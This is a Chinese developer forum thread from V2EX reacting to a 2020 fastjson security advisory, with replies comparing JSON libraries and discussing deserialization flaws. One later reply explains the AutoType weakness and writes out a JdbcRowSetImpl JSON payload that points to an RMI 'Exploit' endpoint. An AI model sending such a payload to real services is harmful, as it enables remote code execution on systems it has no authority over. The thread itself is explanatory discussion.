fastjson 又爆 bug 了!快来看看是否受影响

2020 年 6 月 1 日
 qqqccc

https://github.com/alibaba/fastjson/wiki/security_update_20200601

是否对你的业务有影响呢?

15827 次点击
所在节点    程序员
78 条回复
zhuzeitou
2020 年 6 月 1 日
@sagaxu JakeWharton 最近的推上有说,gson 基本属于弃坑,2/3 的开发者参与了 moshi 开发,moshi 可以认为是 gson3
onikage
2020 年 6 月 1 日
@murmur
client 和 server 端都在我们自己手里, 可以控制, 中间过了一道 http 的第三方的服务. 问题是这个服务输入输出不一致...
不过这个第三方服务不出错.
onikage
2020 年 6 月 1 日
@wobuhuicode
问题是中间过的第三方服务做的, 我们自己的 client 和 server 用 http 直连测过以后再连人家服务发现这个问题的.
wzw
2020 年 6 月 1 日
我用 msgpack……不知道怎么样
looplj
2020 年 6 月 1 日
@stormsuncc 不知道你是什么心理。都说转 jackson,提出 jackson 也有漏洞,有什么问题?国外的框架有漏洞不让说?
LostPrayers
2020 年 6 月 1 日
没有高级反序列化,就没有伤害
zzNucker
2020 年 6 月 1 日
@ZSeptember 他都说了人家房子完好,说明是选择性失明+失智

没啥好说的啦
Loyelee
2020 年 6 月 1 日
一直用的 gson
qoras
2020 年 6 月 1 日
这玩意不报 bug 才不正常
mxalbert1996
2020 年 6 月 1 日
back0893
2020 年 6 月 1 日
有 bug 不是正常?
youxiachai
2020 年 6 月 2 日
有点迷,这算是没关注比有关注强吗。。。。
特别有几位大佬一个劲的批判也不知道为啥。。
wanguorui123
2020 年 6 月 2 日
反序列化注入漏洞,年年都报
ConradG
2020 年 6 月 2 日
@JasonLaw
因为“产生对象的 class 是自己写的”这句话在某些情况下是不对的。
除了常见的“标准”json 外,还存在“标记了反序列化目标类型“的非标准 json 。json 反序列化的大部分漏洞都是通过更改这类 json 的类型标记,实例化一些敏感类进行攻击。
xuxanwan
2020 年 6 月 2 日
在哪里能看到 fastjson 所有历史缺陷,及 jackson 的所有历史缺陷,想坐下选型前的对比。
lcj2class
2020 年 6 月 2 日
对性能有要求的,直接上 protobuf 吧
metrxqin
2020 年 6 月 2 日
马上就 618 了,现在紧急更新等于找骂。
NewConn
2021 年 4 月 1 日
fastjson 有个 AutoType 特性,JSON 中会带类型信息 @type
JSON 字符串反序列化时,会读取 @type 内容,把 JSON 反序列化成这个对象,并且会调用这个类的 setter 方法;
那么就可以利用这个特性,自己构造一个 JSON 字符串,并且使用 @type 指定一个自己想要使用的攻击类库,比如:com.sun.rowset.JdbcRowSetImpl
在 JdbcRowSetImpl 的 dataSourceName 中设置一个想要执行的命令
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
就可以攻击远程数据库

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://v2ex.ih06.com/t/677367

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX